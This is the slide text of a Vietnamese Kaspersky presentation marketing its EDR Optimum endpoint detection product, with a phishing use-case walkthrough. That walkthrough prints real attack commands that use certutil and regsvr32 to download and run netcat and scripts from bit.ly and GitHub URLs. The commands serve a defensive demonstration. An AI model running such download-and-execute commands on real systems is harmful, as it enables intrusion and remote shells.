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Cyber Threat Map

Global Threat Index Map, Cyber Security Report 2021
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Dropper và Downloader



Tập trung vào điều tra chuyên
sâu, truy tìm mối đe dọa tiềm ẩn

theo phương pháp tự động và
thủ công 

Tập trung vào việc chống lại các mối đe 
dọa phức tạp mà công nghệ phòng

ngừa còn bỏ sót

Tập trung vào việc ngăn chặn
số lượng mối đe dọa tối đa 

nhất có thể
SECURITY 

FOUNDATIONS

INTEGRATED 
CYBERSECURITY 

APPROACH

ADVANCED DEFENSE

TARGETED CAMPAIGNS & 
CYBER WEAPONS

ADVANCED THREATS & 
TARGETED ATTACKS

BROADER THREAT 
LANDSCAPE 

(INCL.FILELESS)

Trình độ chuyên môn cao cấp

Chỉ bộ phận IT hoặc IT ít
chuyên môn về bảo mật

Một nhóm phát triển gồm các chuyên gia
bảo mật
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90%

9.9%

0.1%

Các mối đe doạ và biện pháp đối phó
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Các vấn đề bảo vệ endpoint

Source: The SANS 2018 Endpoint Protection and Response Survey 

Endpoint

Điểm yếu phổ biến và dễ bị tấn công
nhất của các cở sở hạ tầng IT

Những hành động tấn công nhỏ thường bị
bỏ qua - Dữ liệu quan trọng để điều tra khi
sự cố xảy ra

Tập trung hơn vào các endpoint vì áp dụng TLS 
1.3 (khó giải mã lưu lượng mạng) 

v76%

tất cả các event đã được tạo bởi 

các endpoint



Lo lắng của khách hàng

01

02

04

03

Điều gì sẽ xảy ra nếu chúng tôi không có các
chuyên gia bảo mật tận tâm và có trình độ? 

Không đủ chuyên môn

Quá nhiều console/agent để thao
tác

Tăng độ phức tạp

Điều gì sẽ xảy ra nếu chúng tôi không có đủ
ngân sách? 

Ràng buộc ngân sách

Tự động hóa đến cấp độ nào? Khả năng 
truy tìm các hành vi tấn công tương tự? 

Phản ứng



Kaspersky đề xuất: Phương pháp tiếp cận dựa trên chuyên môn

Kaspersky
Sandbox

Kaspersky
Anti Targeted 

Attack Platform

Kaspersky 
EDR Expert

Kaspersky
Endpoint Security 
for Business

• Văn phòng IT.
• Chức năng bảo mật chỉ trong phạm vi phòng

IT.
• Không có chuyên gia bảo mật cho từng chi 

nhánh văn phòng công ty.

• Bộ phận IT có đầy đủ nhân viên

• SOC/CERT/CSIRT
• Nhóm truy tìm các mối đe dọa.

Các phương pháp bảo mật 
đã được thiết lập

Thiếu nhân sự có chuyên môn
bảo mật

Kaspersky
EDR Optimum

• Bảo mật thông tin trong phạm vi văn phòng
IT.

• Bộ phận IT nhỏ
• Không có kế hoạch thuê thêm nhân viên IT có

chuyên môn cao.

Đang phát triển chuyên môn 



Kaspersky EDR Optimum

EDR 
Optimum

Trực quan hóa các cuộc tấn công trong KSC 
Web (tại chỗ / cloud) 

Truy vết cơ sở hạ tầng IoC
chế độ thời gian thực/theo lịch

Xuất/ Nhập IoC

Hành động phản hồi

• Cách ly khỏi hệ thống mạng
• Loại bỏ / cách ly các đối tượng
• Kết thúc các quy trình
• Ngăn chặn các file thực thi

• Thông tin về các hành động detection(EDR)/KES
• DLL được gọi
• Các sửa đổi trong Registry
• Các tiến trình được tạo ra.
• Các đối tượng được tạo ra (file drops)
• Các thiết lập liên lạc qua mạng 

Mở rộng
Khả năng phân tích hành vi 
của Kaspersky Sandbox



Trường hợp sử dụng Kaspersky EDR Optimum

Người dùng nhận được e-mail lừa đảo và 
chạy tệp * .lnk đính kèm 

%COMSPEC% /c start "" certutil -urlcache
-split -f 
https://bit.ly/32q2VYG %Temp%/nc.bat 
& certutil -urlcache -split -f
https://bit.ly/2HRvNjd 
%Temp%/hidden.vbs &
regsvr32.exe /s /u 
/i:https://bit.ly/3997g4Q scrobj.dll



Trường hợp sử dụng Kaspersky EDR Optimum

Đối tượng độc hại được phát hiện
bởi thành phần Phát hiện hành vi

C:\Users\x\AppData\Local\Temp\nc.b
at

PDM:Trojan.Win32.Generic.nblk



Trường hợp sử dụng Kaspersky EDR Optimum

Quy trình đã được chấm dứt

C:\Windows\System32\cmd.exe

PDM:Trojan.Win32.Generic.nblk



Trường hợp sử dụng Kaspersky EDR Optimum

Xóa đối tượng (trong Registry)

HKU\S-21-2340907207-2926435276-
2185104821-
1001\Software\Microsoft\Windows\Curr
entVersion\RunOnce\XSample

PDM:Trojan.Win32.Generic.nblk



Trường hợp sử dụng Kaspersky EDR Optimum

Xóa đối tượng

C:\Users\x\AppData\Local\Temp\nc.bat

PDM:Trojan.Win32.Generic.nblk



Trường hợp sử dụng Kaspersky EDR Optimum

Trong khi đó.. Tệp * .json đang được tạo bởi Kaspersky 
Endpoint Agent - chứa siêu dữ liệu được 
chia sẻ với KSC 



Kaspersky EDR Optimum - Thẻ thông tin sự cố



Kaspersky EDR Optimum - Thẻ thông tin sự cố



Kaspersky EDR Optimum - Thẻ thông tin sự cố

copy %windir%\system32\certutil.exe %temp%\cr.tmp

%temp%\cr.tmp -urlcache -split -f 
https://github.com/inwestallis/first_repository/raw/master/nc64.exe %Temp%\nc.exe



EDR Optimum:

Ví dụ - phát hiện phần mềm độc hại phức tạp với sự trợ giúp của công nghệ phân tích hành vi 

KESB EDR Optimum

Thông tin có sẵn

• Tên quy trình

• Kết quả phát hiện như

PDM:Trojan.Win32.Generic

• Ngày và giờ phát hiện

• Mã hash của đối tượng

• Kích thước đối tượng

• Kết quả hoạt động thành phần 

khôi phục 

Thông tin bổ sung bằng cách sử dụng cây hoạt động endpoint:

• Địa chỉ ip C2

• Dữ liệu về các thành phần file độc hại được lưu trữ trên đĩa

• Registry mới / sửa đổi

• Tệp thông tin chữ ký (nếu có) 

Các tình huống ứng phó:

• Ngăn chặn việc thực thi tệp (đặc biệt khi SW bị tắt / phần mềm 

độc hại đang được chạy trong quá trình khởi động hệ điều 

hành)

• Thêm C2 để chặn trên tường lửa / NGFW / proxy

• Xác thực việc registry (tương quan kết quả khôi phục và hủy 

chuỗi) 

+



Thủ tục phản hồi được đơn giản hóa

Nhiều hành động phản hồi

Tự động tạo chỉ báo mối đe dọa tùy chỉnh 
với khả năng áp dụng phản hồi tự động 
‘giữa các endpoint'

• Nhập các chỉ thị bên ngoài 
(thông tin về mối đe dọa do nhà 
cung cấp / cơ quan quản lý)

• Quét cơ sở hạ tầng theo lịch 
trình và thời gian thực dựa 
trên các chỉ thị và có khả năng 
phản hồi chỉ với 'một cú nhấp 
chuột'

• Cách ly máy chủ
• Khởi chạy quét AV của máy chủ
• Xóa / cách ly tệp
• Chấm dứt quá trình
• Có được file
• Ngăn chặn việc thực thi tệp
• Thêm tệp vào Danh sách trắng của KES / Gửi 

tới Kaspersky để phân tích

* OpenIOC

Khi phát hiện hoạt động đáng ngờ, 
EDR Optimum có thể tìm kiếm các 
sự kiện tương tự trên các máy khác 



Q&A



CẢM ƠN
Quý vị đã lắng nghe chúng tôi


